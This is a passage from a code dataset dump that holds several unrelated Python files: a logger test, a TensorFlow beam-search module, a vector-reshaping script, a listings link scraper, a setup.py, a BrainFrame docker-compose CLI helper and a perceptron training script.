path)\n\n # log two messages\n message1 = urandom(16).encode(\"hex\")\n pool.log(uuid, STDOUT, message1)\n self.assertEqual(list(pool.logs[uuid].messages)[0][-1], message1)\n message2 = urandom(16).encode(\"hex\")\n pool.log(uuid, STDOUT, message2)\n self.assertEqual(list(pool.logs[uuid].messages)[1][-1], message2)\n self.assertEqual(pool.logs[uuid].lines, 2)\n\n log = pool.logs[uuid]\n self.assertFalse(pool.stopped)\n pool.stop()\n self.assertTrue(pool.stopped)\n self.assertNotIn(uuid, pool.logs)\n self.assertTrue(log.file.closed)\n\n def test_start(self):\n existing_entries = reactor._eventTriggers[\"shutdown\"].before[:]\n pool = self.pool = LoggerPool()\n pool.start()\n self.assertTrue(pool.started)\n\n for entry in reactor._eventTriggers[\"shutdown\"].before:\n if entry not in existing_entries and entry[0] == pool.stop:\n break\n else:\n self.fail(\"Shutdown even trigger not added\")\n","sub_path":"tests/test_jobtypes/test_core_log.py","file_name":"test_core_log.py","file_ext":"py","file_size_in_byte":8144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"351300428","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/svpino/dev/tensorflow-object-detection-sagemaker/todl/tensorflow-object-detection/official/nlp/transformer/beam_search_v1.py\n# Compiled at: 2020-04-05 19:50:57\n# Size of source mod 2**32: 27301 bytes\n\"\"\"Beam search to find the translated sequence with the highest probability.\n\nSource implementation from Tensor2Tensor:\nhttps://github.com/tensorflow/tensor2tensor/blob/master/tensor2tensor/utils/beam_search.py\n\"\"\"\nimport numpy as np\nimport tensorflow.compat.v1 as tf\nfrom tensorflow.python.util import nest\n\ndef inf(dtype):\n \"\"\"Returns a value close to infinity, but is still finite in `dtype`.\n\n This is useful to get a very large value that is still zero when multiplied by\n zero. The floating-point \"Inf\" value is NaN when multiplied by zero.\n\n Args:\n dtype: A dtype. The returned value will be finite when casted to this dtype.\n\n Returns:\n A very large value.\n \"\"\"\n if dtype == 'float32' or dtype == 'bfloat16':\n return 10000000.0\n if dtype == 'float16':\n return np.finfo(np.float16).max\n raise AssertionError('Invalid dtype: %s' % dtype)\n\n\nclass _StateKeys(object):\n __doc__ = 'Keys to dictionary storing the state of the beam search loop.'\n CUR_INDEX = 'CUR_INDEX'\n ALIVE_SEQ = 'ALIVE_SEQ'\n ALIVE_LOG_PROBS = 'ALIVE_LOG_PROBS'\n ALIVE_CACHE = 'ALIVE_CACHE'\n FINISHED_SEQ = 'FINISHED_SEQ'\n FINISHED_SCORES = 'FINISHED_SCORES'\n FINISHED_FLAGS = 'FINISHED_FLAGS'\n\n\nclass SequenceBeamSearch(object):\n __doc__ = 'Implementation of beam search loop.'\n\n def __init__(self, symbols_to_logits_fn, vocab_size, batch_size, beam_size, alpha, max_decode_length, eos_id, padded_decode, dtype=tf.float32):\n \"\"\"Initialize sequence beam search.\n\n Args:\n symbols_to_logits_fn: A function to provide logits, which is the\n interface to the Transformer model. The passed in arguments are:\n ids -> A tensor with shape [batch_size * beam_size, index].\n index -> A scalar.\n cache -> A nested dictionary of tensors [batch_size * beam_size, ...].\n The function must return a tuple of logits and the updated cache:\n logits -> A tensor with shape [batch * beam_size, vocab_size].\n updated cache -> A nested dictionary with the same structure as the\n input cache.\n vocab_size: An integer, the size of the vocabulary, used for topk\n computation.\n batch_size: An integer, the decode batch size.\n beam_size: An integer, number of beams for beam search.\n alpha: A float, defining the strength of length normalization.\n max_decode_length: An integer, the maximum number of steps to decode\n a sequence.\n eos_id: An integer. ID of end of sentence token.\n padded_decode: A bool, indicating if max_sequence_length padding is used\n for beam search.\n dtype: A tensorflow data type used for score computation. The default is\n tf.float32.\n \"\"\"\n self.symbols_to_logits_fn = symbols_to_logits_fn\n self.vocab_size = vocab_size\n self.batch_size = batch_size\n self.beam_size = beam_size\n self.alpha = alpha\n self.max_decode_length = max_decode_length\n self.eos_id = eos_id\n self.padded_decode = padded_decode\n self.dtype = tf.as_dtype(dtype)\n\n def search(self, initial_ids, initial_cache):\n \"\"\"Beam search for sequences with highest scores.\"\"\"\n state, state_shapes = self._create_initial_state(initial_ids, initial_cache)\n finished_state = tf.while_loop((self._continue_search),\n (self._search_step), loop_vars=[state], shape_invariants=[\n state_shapes],\n parallel_iterations=1,\n back_prop=False)\n finished_state = finished_state[0]\n alive_seq = finished_state[_StateKeys.ALIVE_SEQ]\n alive_log_probs = finished_state[_StateKeys.ALIVE_LOG_PROBS]\n finished_seq = finished_state[_StateKeys.FINISHED_SEQ]\n finished_scores = finished_state[_StateKeys.FINISHED_SCORES]\n finished_flags = finished_state[_StateKeys.FINISHED_FLAGS]\n finished_seq = tf.where(tf.reduce_any(finished_flags, 1), finished_seq, alive_seq)\n finished_scores = tf.where(tf.reduce_any(finished_flags, 1), finished_scores, alive_log_probs)\n return (finished_seq, finished_scores)\n\n def _create_initial_state(self, initial_ids, initial_cache):\n \"\"\"Return initial state dictionary and its shape invariants.\n\n Args:\n initial_ids: initial ids to pass into the symbols_to_logits_fn.\n int tensor with shape [batch_size, 1]\n initial_cache: dictionary storing values to be passed into the\n symbols_to_logits_fn.\n\n Returns:\n state and shape invariant dictionaries with keys from _StateKeys\n \"\"\"\n for key, value in initial_cache.items():\n for inner_value in nest.flatten(value):\n if inner_value.dtype != self.dtype:\n raise TypeError(\"initial_cache element for key '%s' has dtype %s that does not match SequenceBeamSearch's dtype of %s. Value: %s\" % (\n key, value.dtype.name, self.dtype.name, inner_value))\n\n cur_index = tf.constant(0)\n alive_seq = _expand_to_beam_size(initial_ids, self.beam_size)\n alive_seq = tf.expand_dims(alive_seq, axis=2)\n if self.padded_decode:\n alive_seq = tf.tile(alive_seq, [1, 1, self.max_decode_length + 1])\n else:\n initial_log_probs = tf.constant([\n [\n 0.0] + [-float('inf')] * (self.beam_size - 1)],\n dtype=(self.dtype))\n alive_log_probs = tf.tile(initial_log_probs, [self.batch_size, 1])\n alive_cache = nest.map_structure(lambda t: _expand_to_beam_size(t, self.beam_size), initial_cache)\n finished_seq = tf.zeros(tf.shape(alive_seq), tf.int32)\n finished_scores = tf.ones([self.batch_size, self.beam_size], dtype=(self.dtype)) * -inf(self.dtype)\n finished_flags = tf.zeros([self.batch_size, self.beam_size], tf.bool)\n state = {_StateKeys.CUR_INDEX: cur_index, \n _StateKeys.ALIVE_SEQ: alive_seq, \n _StateKeys.ALIVE_LOG_PROBS: alive_log_probs, \n _StateKeys.ALIVE_CACHE: alive_cache, \n _StateKeys.FINISHED_SEQ: finished_seq, \n _StateKeys.FINISHED_SCORES: finished_scores, \n _StateKeys.FINISHED_FLAGS: finished_flags}\n if self.padded_decode:\n state_shape_invariants = {_StateKeys.CUR_INDEX: tf.TensorShape([]), \n \n _StateKeys.ALIVE_SEQ: tf.TensorShape([\n self.batch_size, self.beam_size,\n self.max_decode_length + 1]), \n \n _StateKeys.ALIVE_LOG_PROBS: tf.TensorShape([self.batch_size, self.beam_size]), \n \n _StateKeys.ALIVE_CACHE: nest.map_structure(_get_shape, alive_cache), \n \n _StateKeys.FINISHED_SEQ: tf.TensorShape([\n self.batch_size, self.beam_size,\n self.max_decode_length + 1]), \n \n _StateKeys.FINISHED_SCORES: tf.TensorShape([self.batch_size, self.beam_size]), \n \n _StateKeys.FINISHED_FLAGS: tf.TensorShape([self.batch_size, self.beam_size])}\n else:\n state_shape_invariants = {_StateKeys.CUR_INDEX: tf.TensorShape([]), \n \n _StateKeys.ALIVE_SEQ: tf.TensorShape([None, self.beam_size, None]), \n \n _StateKeys.ALIVE_LOG_PROBS: tf.TensorShape([None, self.beam_size]), \n \n _StateKeys.ALIVE_CACHE: nest.map_structure(_get_shape_keep_last_dim, alive_cache), \n \n _StateKeys.FINISHED_SEQ: tf.TensorShape([None, self.beam_size, None]), \n \n _StateKeys.FINISHED_SCORES: tf.TensorShape([None, self.beam_size]), \n \n _StateKeys.FINISHED_FLAGS: tf.TensorShape([None, self.beam_size])}\n return (state, state_shape_invariants)\n\n def _continue_search(self, state):\n \"\"\"Return whether to continue the search loop.\n\n The loops should terminate when\n 1) when decode length has been reached, or\n 2) when the worst score in the finished sequences is better than the best\n score in the alive sequences (i.e. the finished sequences are provably\n unchanging)\n\n Args:\n state: A dictionary with the current loop state.\n\n Returns:\n Bool tensor with value True if loop should continue, False if loop should\n terminate.\n \"\"\"\n i = state[_StateKeys.CUR_INDEX]\n alive_log_probs = state[_StateKeys.ALIVE_LOG_PROBS]\n finished_scores = state[_StateKeys.FINISHED_SCORES]\n finished_flags = state[_StateKeys.FINISHED_FLAGS]\n not_at_max_decode_length = tf.less(i, self.max_decode_length)\n max_length_norm = _length_normalization((self.alpha), (self.max_decode_length), dtype=(self.dtype))\n best_alive_scores = alive_log_probs[:, 0] / max_length_norm\n finished_scores *= tf.cast(finished_flags, self.dtype)\n lowest_finished_scores = tf.reduce_min(finished_scores, axis=1)\n finished_batches = tf.reduce_any(finished_flags, 1)\n lowest_finished_scores += (1.0 - tf.cast(finished_batches, self.dtype)) * -inf(self.dtype)\n worst_finished_score_better_than_best_alive_score = tf.reduce_all(tf.greater(lowest_finished_scores, best_alive_scores))\n return tf.logical_and(not_at_max_decode_length, tf.logical_not(worst_finished_score_better_than_best_alive_score))\n\n def _search_step(self, state):\n \"\"\"Beam search loop body.\n\n Grow alive sequences by a single ID. Sequences that have reached the EOS\n token are marked as finished. The alive and finished sequences with the\n highest log probabilities and scores are returned.\n\n A sequence's finished score is calculating by dividing the log probability\n by the length normalization factor. Without length normalization, the\n search is more likely to return shorter sequences.\n\n Args:\n state: A dictionary with the current loop state.\n\n Returns:\n new state dictionary.\n \"\"\"\n new_seq, new_log_probs, topk_ids, new_cache = self._grow_alive_seq(state)\n new_finished_flags = tf.equal(topk_ids, self.eos_id)\n alive_state = self._get_new_alive_state(new_seq, new_log_probs, new_finished_flags, new_cache)\n finished_state = self._get_new_finished_state(state, new_seq, new_log_probs, new_finished_flags)\n new_state = {_StateKeys.CUR_INDEX: state[_StateKeys.CUR_INDEX] + 1}\n new_state.update(alive_state)\n new_state.update(finished_state)\n return [new_state]\n\n def _grow_alive_seq(self, state):\n \"\"\"Grow alive sequences by one token, and collect top 2*beam_size sequences.\n\n 2*beam_size sequences are collected because some sequences may have reached\n the EOS token. 2*beam_size ensures that at least beam_size sequences are\n still alive.\n\n Args:\n state: A dictionary with the current loop state.\n Returns:\n Tuple of\n (Top 2*beam_size sequences [batch_size, 2 * beam_size, cur_index + 1],\n Scores of returned sequences [batch_size, 2 * beam_size],\n New alive cache, for each of the 2 * beam_size sequences)\n \"\"\"\n i = state[_StateKeys.CUR_INDEX]\n alive_seq = state[_StateKeys.ALIVE_SEQ]\n alive_log_probs = state[_StateKeys.ALIVE_LOG_PROBS]\n alive_cache = state[_StateKeys.ALIVE_CACHE]\n beams_to_keep = 2 * self.beam_size\n if self.padded_decode:\n flat_ids = tf.reshape(tf.slice(alive_seq, [0, 0, i], [self.batch_size, self.beam_size, 1]), [\n self.batch_size * self.beam_size, -1])\n else:\n flat_ids = _flatten_beam_dim(alive_seq)\n flat_cache = nest.map_structure(_flatten_beam_dim, alive_cache)\n flat_logits, flat_cache = self.symbols_to_logits_fn(flat_ids, i, flat_cache)\n logits = _unflatten_beam_dim(flat_logits, self.batch_size, self.beam_size)\n new_cache = nest.map_structure(lambda t: _unflatten_beam_dim(t, self.batch_size, self.beam_size), flat_cache)\n candidate_log_probs = _log_prob_from_logits(logits)\n log_probs = candidate_log_probs + tf.expand_dims(alive_log_probs, axis=2)\n flat_log_probs = tf.reshape(log_probs, [\n -1, self.beam_size * self.vocab_size])\n topk_log_probs, topk_indices = tf.nn.top_k(flat_log_probs, k=beams_to_keep)\n topk_beam_indices = topk_indices // self.vocab_size\n topk_seq, new_cache = _gather_beams([\n alive_seq, new_cache], topk_beam_indices, self.batch_size, beams_to_keep)\n topk_ids = topk_indices % self.vocab_size\n if self.padded_decode:\n topk_seq = tf.transpose(topk_seq, perm=[2, 0, 1])\n topk_seq = tf.tensor_scatter_nd_update(topk_seq, [[i + 1]], tf.expand_dims(topk_ids, axis=0))\n topk_seq = tf.transpose(topk_seq, perm=[1, 2, 0])\n else:\n topk_seq = tf.concat([topk_seq, tf.expand_dims(topk_ids, axis=2)], axis=2)\n return (\n topk_seq, topk_log_probs, topk_ids, new_cache)\n\n def _get_new_alive_state(self, new_seq, new_log_probs, new_finished_flags, new_cache):\n \"\"\"Gather the top k sequences that are still alive.\n\n Args:\n new_seq: New sequences generated by growing the current alive sequences\n int32 tensor with shape [batch_size, 2 * beam_size, cur_index + 1]\n new_log_probs: Log probabilities of new sequences float32 tensor with\n shape [batch_size, beam_size]\n new_finished_flags: A boolean Tensor indicates which sequences are live\n inside the beam.\n new_cache: Dict of cached values for each sequence.\n\n Returns:\n Dictionary with alive keys from _StateKeys:\n {Top beam_size sequences that are still alive (don't end with eos_id)\n Log probabilities of top alive sequences\n Dict cache storing decoder states for top alive sequences}\n \"\"\"\n new_log_probs += tf.cast(new_finished_flags, self.dtype) * -inf(self.dtype)\n top_alive_seq, top_alive_log_probs, top_alive_cache = _gather_topk_beams([\n new_seq, new_log_probs, new_cache], new_log_probs, self.batch_size, self.beam_size)\n return {_StateKeys.ALIVE_SEQ: top_alive_seq, \n _StateKeys.ALIVE_LOG_PROBS: top_alive_log_probs, \n _StateKeys.ALIVE_CACHE: top_alive_cache}\n\n def _get_new_finished_state(self, state, new_seq, new_log_probs, new_finished_flags):\n \"\"\"Combine new and old finished sequences, and gather the top k sequences.\n\n Args:\n state: A dictionary with the current loop state.\n new_seq: New sequences generated by growing the current alive sequences\n int32 tensor with shape [batch_size, beam_size, i + 1]\n new_log_probs: Log probabilities of new sequences float32 tensor with\n shape [batch_size, beam_size]\n new_finished_flags: A boolean Tensor indicates which sequences are live\n inside the beam.\n\n Returns:\n Dictionary with finished keys from _StateKeys:\n {Top beam_size finished sequences based on score,\n Scores of finished sequences,\n Finished flags of finished sequences}\n \"\"\"\n i = state[_StateKeys.CUR_INDEX]\n finished_seq = state[_StateKeys.FINISHED_SEQ]\n finished_scores = state[_StateKeys.FINISHED_SCORES]\n finished_flags = state[_StateKeys.FINISHED_FLAGS]\n if not self.padded_decode:\n finished_seq = tf.concat([\n finished_seq,\n tf.zeros([self.batch_size, self.beam_size, 1], tf.int32)],\n axis=2)\n length_norm = _length_normalization((self.alpha), (i + 1), dtype=(self.dtype))\n new_scores = new_log_probs / length_norm\n new_scores += (1.0 - tf.cast(new_finished_flags, self.dtype)) * -inf(self.dtype)\n finished_seq = tf.concat([finished_seq, new_seq], axis=1)\n finished_scores = tf.concat([finished_scores, new_scores], axis=1)\n finished_flags = tf.concat([finished_flags, new_finished_flags], axis=1)\n top_finished_seq, top_finished_scores, top_finished_flags = _gather_topk_beams([finished_seq, finished_scores, finished_flags], finished_scores, self.batch_size, self.beam_size)\n return {_StateKeys.FINISHED_SEQ: top_finished_seq, \n _StateKeys.FINISHED_SCORES: top_finished_scores, \n _StateKeys.FINISHED_FLAGS: top_finished_flags}\n\n\ndef sequence_beam_search(symbols_to_logits_fn, initial_ids, initial_cache, vocab_size, beam_size, alpha, max_decode_length, eos_id, padded_decode=False):\n \"\"\"Search for sequence of subtoken ids with the largest probability.\n\n Args:\n symbols_to_logits_fn: A function that takes in ids, index, and cache as\n arguments. The passed in arguments will have shape:\n ids -> A tensor with shape [batch_size * beam_size, index].\n index -> A scalar.\n cache -> A nested dictionary of tensors [batch_size * beam_size, ...].\n The function must return a tuple of logits and new cache:\n logits -> A tensor with shape [batch * beam_size, vocab_size].\n new cache -> A nested dictionary with the same shape/structure as the\n inputted cache.\n initial_ids: An int32 tensor with shape [batch_size]. Starting ids for\n each batch item.\n initial_cache: A dictionary, containing starting decoder variables\n information.\n vocab_size: An integer, the size of the vocabulary, used for topk\n computation.\n beam_size: An integer, the number of beams.\n alpha: A float, defining the strength of length normalization.\n max_decode_length: An integer, the maximum length to decoded a sequence.\n eos_id: An integer, ID of eos token, used to determine when a sequence has\n finished.\n padded_decode: A bool, indicating if max_sequence_length padding is used\n for beam search.\n\n Returns:\n Top decoded sequences [batch_size, beam_size, max_decode_length]\n sequence scores [batch_size, beam_size]\n \"\"\"\n batch_size = initial_ids.shape.as_list()[0] if padded_decode else tf.shape(initial_ids)[0]\n sbs = SequenceBeamSearch(symbols_to_logits_fn, vocab_size, batch_size, beam_size, alpha, max_decode_length, eos_id, padded_decode)\n return sbs.search(initial_ids, initial_cache)\n\n\ndef _log_prob_from_logits(logits):\n return logits - tf.reduce_logsumexp(logits, axis=2, keepdims=True)\n\n\ndef _length_normalization(alpha, length, dtype=tf.float32):\n \"\"\"Return length normalization factor.\"\"\"\n return tf.pow((5.0 + tf.cast(length, dtype)) / 6.0, alpha)\n\n\ndef _expand_to_beam_size(tensor, beam_size):\n \"\"\"Tiles a given tensor by beam_size.\n\n Args:\n tensor: tensor to tile [batch_size, ...]\n beam_size: How much to tile the tensor by.\n\n Returns:\n Tiled tensor [batch_size, beam_size, ...]\n \"\"\"\n tensor = tf.expand_dims(tensor, axis=1)\n tile_dims = [1] * tensor.shape.ndims\n tile_dims[1] = beam_size\n return tf.tile(tensor, tile_dims)\n\n\ndef _shape_list(tensor):\n \"\"\"Return a list of the tensor's shape, and ensure no None values in list.\"\"\"\n shape = tensor.get_shape().as_list()\n dynamic_shape = tf.shape(tensor)\n for i in range(len(shape)):\n if shape[i] is None:\n shape[i] = dynamic_shape[i]\n\n return shape\n\n\ndef _get_shape_keep_last_dim(tensor):\n shape_list = _shape_list(tensor)\n for i in range(len(shape_list) - 1):\n shape_list[i] = None\n\n if isinstance(shape_list[(-1)], tf.Tensor):\n shape_list[-1] = None\n return tf.TensorShape(shape_list)\n\n\ndef _get_shape(tensor):\n \"\"\"Return the shape of the input tensor.\"\"\"\n return tf.TensorShape(_shape_list(tensor))\n\n\ndef _flatten_beam_dim(tensor):\n \"\"\"Reshapes first two dimensions in to single dimension.\n\n Args:\n tensor: Tensor to reshape of shape [A, B, ...]\n\n Returns:\n Reshaped tensor of shape [A*B, ...]\n \"\"\"\n shape = _shape_list(tensor)\n shape[0] *= shape[1]\n shape.pop(1)\n return tf.reshape(tensor, shape)\n\n\ndef _unflatten_beam_dim(tensor, batch_size, beam_size):\n \"\"\"Reshapes first dimension back to [batch_size, beam_size].\n\n Args:\n tensor: Tensor to reshape of shape [batch_size*beam_size, ...]\n batch_size: Tensor, original batch size.\n beam_size: int, original beam size.\n\n Returns:\n Reshaped tensor of shape [batch_size, beam_size, ...]\n \"\"\"\n shape = _shape_list(tensor)\n new_shape = [batch_size, beam_size] + shape[1:]\n return tf.reshape(tensor, new_shape)\n\n\ndef _gather_beams(nested, beam_indices, batch_size, new_beam_size):\n \"\"\"Gather beams from nested structure of tensors.\n\n Each tensor in nested represents a batch of beams, where beam refers to a\n single search state (beam search involves searching through multiple states\n in parallel).\n\n This function is used to gather the top beams, specified by\n beam_indices, from the nested tensors.\n\n Args:\n nested: Nested structure (tensor, list, tuple or dict) containing tensors\n with shape [batch_size, beam_size, ...].\n beam_indices: int32 tensor with shape [batch_size, new_beam_size]. Each\n value in beam_indices must be between [0, beam_size), and are not\n necessarily unique.\n batch_size: int size of batch\n new_beam_size: int number of beams to be pulled from the nested tensors.\n\n Returns:\n Nested structure containing tensors with shape\n [batch_size, new_beam_size, ...]\n \"\"\"\n batch_pos = tf.range(batch_size * new_beam_size) // new_beam_size\n batch_pos = tf.reshape(batch_pos, [batch_size, new_beam_size])\n coordinates = tf.stack([batch_pos, beam_indices], axis=2)\n return nest.map_structure(lambda state: tf.gather_nd(state, coordinates), nested)\n\n\ndef _gather_topk_beams(nested, score_or_log_prob, batch_size, beam_size):\n \"\"\"Gather top beams from nested structure.\"\"\"\n _, topk_indexes = tf.nn.top_k(score_or_log_prob, k=beam_size)\n return _gather_beams(nested, topk_indexes, batch_size, beam_size)","sub_path":"pycfiles/todl-0.1.1.tar/beam_search_v1.cpython-37.py","file_name":"beam_search_v1.cpython-37.py","file_ext":"py","file_size_in_byte":22371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"378449128","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Aug 19 20:56:23 2018\n\n@author: isaac\n\"\"\"\nimport numpy as np\nimport pickle\nimport os\nimport time\n\n\npath = r\"C:\\Users\\isaac\\Documents\\GitHub\\100-Days-of-ML-Code\\moods\"\nos.chdir(path)\nprint(\"Opening pickle file\")\nwith open(\"vectorizedsentences.txt\",'rb') as fp:\n x = pickle.load(fp)\n\nformatted_x = []\nprint(\"Converting to long...\")\n\n#@vectorize(['float32(float32,float32)'], target = 'gpu')\ndef matricer(x):\n formatted_x = []\n i=1\n for matrix in x:\n print(\"Converting matrix \",i,\" out of \",len(x))\n i+=1\n \n for vector in matrix:\n try:\n \n for entry in vector:\n \n formatted_x.append(entry)\n #print(\"Conversion success.\")\n except TypeError:\n #print(\"Error passed\")\n pass\n time.sleep(0.01)\n# longm.append(longv)\n vector_of_all = np.array(formatted_x).reshape([-1,300,300,1])\n print(\"Done\")\n\n np.save(\"vectored_data.npy\",vector_of_all)\n print(\"File saved.\")\n return vector_of_all\nms = matricer(x)\nprint(ms.shape)","sub_path":"dataMatricer.py","file_name":"dataMatricer.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"204420675","text":"import requests\nfrom bs4 import BeautifulSoup\n\nURL_AUTOMOVEIS = 'https://django-anuncios.solyd.com.br/automoveis/'\n\n\ndef buscar(url):\n try:\n resposta = requests.get(url)\n if resposta.status_code == 200:\n return resposta.text\n else:\n print('Erro ao fazer requisição!!')\n except Exception as error:\n print('Erro ao fazer requisição!!')\n print(error)\n\n\ndef parsing(resposta_html):\n try:\n soup = BeautifulSoup(resposta_html, 'html.parser')\n return soup\n except Exception as error:\n print('Erro ao fazer parsing do HTML!')\n print(error)\n\n\ndef encontrar_links(soup):\n cards_pai = soup.find('div', class_=\"ui three doubling link cards\")\n cards = cards_pai.find_all('a')\n links = []\n for card in cards:\n link = card['href']\n links.append(link)\n\n return links\n\n\nresposta = buscar(URL_AUTOMOVEIS)\nif resposta:\n soup = parsing(resposta)\n if soup:\n links = encontrar_links(soup)\n print(links)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"236677045","text":"# -*- coding: utf-8 -*-\nimport os\nimport sys\nimport re\ntry:\n from setuptools import setup\nexcept ImportError:\n from distutils.core import setup\n\n# reading pymlconf version (same way sqlalchemy does)\nwith open(os.path.join(os.path.dirname(__file__), 'pymlconf', '__init__.py')) as v_file:\n package_version = re.compile(r\".*__version__ = '(.*?)'\", re.S).match(v_file.read()).group(1)\n\ndependencies = ['pyyaml >= 3.10']\n\n# checking for current python version to add legacy `ordereddict` module into dependencies\nif sys.version_info < (2, 7):\n dependencies.append('ordereddict')\n\n\ndef read(filename):\n return open(os.path.join(os.path.dirname(__file__), filename)).read()\n\nsetup(\n name=\"pymlconf\",\n version=package_version,\n author=\"Vahid Mardani\",\n author_email=\"vahid.mardani@gmail.com\",\n url=\"http://github.com/pylover/pymlconf\",\n description=\"Python high level configuration library\",\n maintainer=\"Vahid Mardani\",\n maintainer_email=\"vahid.mardani@gmail.com\",\n packages=[\"pymlconf\", \"pymlconf.tests\"],\n package_dir={'pymlconf': 'pymlconf'},\n package_data={'pymlconf': ['tests/conf/*', 'tests/files/*']},\n platforms=[\"any\"],\n long_description=read('README.rst'),\n install_requires=dependencies,\n classifiers=[\n \"Development Status :: 5 - Production/Stable\",\n \"License :: OSI Approved :: MIT License\",\n 'Intended Audience :: Developers',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Topic :: Software Development :: Libraries'\n ],\n test_suite='pymlconf.tests',\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"373039131","text":"import os\nimport subprocess\nfrom pathlib import Path\nfrom typing import List, TextIO, Tuple, cast\n\nimport i18n\nimport yaml\n\nfrom . import env_vars, os_utils, print_utils\n\n# The URL to the docker-compose.yml\nBRAINFRAME_DOCKER_COMPOSE_URL = \"https://{subdomain}aotu.ai/releases/brainframe/{version}/docker-compose.yml\"\n# The URL to the latest tag, which is just a file containing the latest version\n# as a string\nBRAINFRAME_LATEST_TAG_URL = (\n \"https://{subdomain}aotu.ai/releases/brainframe/latest\"\n)\n\n\ndef assert_installed(install_path: Path) -> None:\n compose_path = install_path / \"docker-compose.yml\"\n\n if not compose_path.is_file():\n print_utils.fail_translate(\n \"general.brainframe-must-be-installed\",\n install_env_var=env_vars.install_path.name,\n )\n\n\ndef run(install_path: Path, commands: List[str]) -> None:\n _assert_has_docker_permissions()\n\n compose_path = install_path / \"docker-compose.yml\"\n\n full_command = [\"docker-compose\", \"--file\", str(compose_path)]\n\n # Provide the override file if it exists\n compose_override_path = install_path / \"docker-compose.override.yml\"\n if compose_override_path.is_file():\n full_command += [\"--file\", str(compose_override_path)]\n\n # Provide the .env file if it exists\n env_path = install_path / \".env\"\n if env_path.is_file():\n full_command += [\"--env-file\", str(env_path)]\n\n os_utils.run(full_command + commands)\n\n\ndef download(target: Path, version: str = \"latest\") -> None:\n _assert_has_write_permissions(target.parent)\n\n subdomain, auth_flags, version = check_download_version(version=version)\n\n url = BRAINFRAME_DOCKER_COMPOSE_URL.format(\n subdomain=subdomain, version=version\n )\n os_utils.run(\n [\"curl\", \"-o\", str(target), \"--fail\", \"--location\", url] + auth_flags,\n )\n\n if os_utils.is_root():\n # Fix the permissions of the docker-compose.yml so that the BrainFrame\n # group can edit it\n os_utils.give_brainframe_group_rw_access([target])\n\n\ndef check_download_version(\n version: str = \"latest\",\n) -> Tuple[str, List[str], str]:\n subdomain = \"\"\n auth_flags = []\n\n # Add the flags to authenticate with staging if the user wants to download\n # from there\n if env_vars.is_staging.is_set():\n subdomain = \"staging.\"\n\n username = env_vars.staging_username.get()\n password = env_vars.staging_password.get()\n if username is None or password is None:\n print_utils.fail_translate(\n \"general.staging-missing-credentials\",\n username_env_var=env_vars.staging_username.name,\n password_env_var=env_vars.staging_password.name,\n )\n\n auth_flags = [\"--user\", f\"{username}:{password}\"]\n\n if version == \"latest\":\n # Check what the latest version is\n url = BRAINFRAME_LATEST_TAG_URL.format(subdomain=subdomain)\n result = os_utils.run(\n [\"curl\", \"--fail\", \"-s\", \"--location\", url] + auth_flags,\n print_command=False,\n stdout=subprocess.PIPE,\n encoding=\"utf-8\",\n )\n # stdout is a file-like object opened in text mode when the encoding\n # argument is \"utf-8\"\n stdout = cast(TextIO, result.stdout)\n version = stdout.readline().strip()\n\n return subdomain, auth_flags, version\n\n\ndef check_existing_version(install_path: Path) -> str:\n compose_path = install_path / \"docker-compose.yml\"\n compose = yaml.load(compose_path.read_text(), Loader=yaml.SafeLoader)\n version = compose[\"services\"][\"core\"][\"image\"].split(\":\")[-1]\n version = \"v\" + version\n return version\n\n\ndef _assert_has_docker_permissions() -> None:\n \"\"\"Fails if the user does not have permissions to interact with Docker\"\"\"\n if not (os_utils.is_root() or os_utils.currently_in_group(\"docker\")):\n error_message = (\n i18n.t(\"general.docker-bad-permissions\")\n + \"\\n\"\n + _group_recommendation_message(\"docker\")\n )\n\n print_utils.fail(error_message)\n\n\ndef _assert_has_write_permissions(path: Path) -> None:\n \"\"\"Fails if the user does not have write access to the given path.\"\"\"\n if os.access(path, os.W_OK):\n return\n\n error_message = i18n.t(\"general.file-bad-write-permissions\", path=path)\n error_message += \"\\n\"\n\n if path.stat().st_gid == os_utils.BRAINFRAME_GROUP_ID:\n error_message += \" \" + _group_recommendation_message(\"brainframe\")\n else:\n error_message += \" \" + i18n.t(\n \"general.unexpected-group-for-file\", path=path, group=\"brainframe\"\n )\n\n print_utils.fail(error_message)\n\n\ndef _group_recommendation_message(group: str) -> str:\n if os_utils.added_to_group(\"brainframe\"):\n # The user is in the group, they just need to restart\n return i18n.t(\"general.restart-for-group-access\", group=group)\n else:\n # The user is not in the group, so they need to either add\n # themselves or use sudo\n return i18n.t(\"general.retry-as-root-or-group\", group=group)\n","sub_path":"brainframe/cli/docker_compose.py","file_name":"docker_compose.py","file_ext":"py","file_size_in_byte":5076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"466955232","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom Perceptron import Perceptron\n\ndata = np.genfromtxt('sonar.all-data.txt', delimiter=',')\nnp.random.shuffle(data)\n\ninputs = data[:, 0:60]\ntargets = data[:, 60]\n\nn_inputs = 60\np1 = Perceptron(n_inputs)\nalfa = 0.005\n\nN = 200\nE = np.zeros(N)\nfor i in range(N):\n p1.error_train_epoch(inputs, targets, alfa)\n E[i] = p1.error_value(inputs, targets)\n print(E[i])\n\nplt.plot(E)\nplt.ylabel('E')\nplt.xlabel('epochy')\nplt.show()\n","sub_path":"main2.py","file_name":"main2.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"132795888","text":"import acm\nfrom DealDevKit import DealDefinition, Settings, 